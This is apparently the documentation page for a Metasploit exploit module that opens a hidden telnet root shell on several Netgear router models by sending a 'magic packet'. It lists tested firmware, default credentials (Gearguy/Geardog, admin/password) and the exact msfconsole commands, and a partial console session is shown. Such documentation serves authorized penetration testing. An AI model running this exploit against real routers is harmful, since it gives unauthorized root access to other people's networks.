## Introduction
Several models of Netgear devices have a hidden telnet daemon that can be
enabled for remote LAN users by sending a 'magic packet' to the device.
Upon successful connect, a root shell should be presented to the user.
There are many devices which contain this daemon, for a full list see [OpenWrt](https://wiki.openwrt.org/toh/netgear/telnet.console).
This module has been successfully tested against:
- AC1450 - unknown older firmware (TCP)
- AC1450 - latest firmware: V1.0.0.36_10.0.17 (UDP)
- N300 WNR2000 v3 - firmware: V1.1.2.10 (TCP)
## Setup
A MAC address is required for exploitation. To determine the MAC address of the device:
1. Ping the device to force an ARP lookup: ```ping -c 1 [IP]```
2. Get the MAC: ```arp -an [IP]```
If you are the root user, you can skip this step. ARP will be leveraged
to find the MAC address.
## Targets
**0 (Automatic)**
Detect if a device listens on TCP or UDP.
**1 (TCP)**
Older devices usually listen on TCP.
**2 (UDP)**
Newer devices usually listen on UDP.
## Options
**MAC**
Set this to the MAC address of the device. You can use `ping` and `arp`
to find it.
You can leave this blank if you're root.
**USERNAME**
If this is an older device, it'll take the value of `super_username` in
`nvram`, which is usually unchanged from `Gearguy`.
If this is a newer device, it'll take the web UI username, which is
usually unchanged from `admin`.
You can leave this blank to use the default username.
**PASSWORD**
If this is an older device, it'll take the value of `super_passwd` in
`nvram`, which is usually unchanged from `Geardog`.
If this is a newer device, it'll take the web UI password, which is
usually unchanged from `password`.
You can leave this blank to use the default password.
## Exploitation
1. Make sure you have a vulnerable device
2. Start metasploit
3. ```use exploit/linux/telnet/netgear_telnetenable```
4. ```set rhost [IP]```
5. ```set mac [MAC Address]``` if not running as root
6. ```exploit```
7. Enjoy a root shell!
## Usage
### AC1450
As a normal user:
```
msf5 > use exploit/linux/telnet/netgear_telnetenable

rhost => 192.168.1.1
msf5 exploit(linux/telnet/netgear_telnetenable) > ping -c 1 192.168.1.1
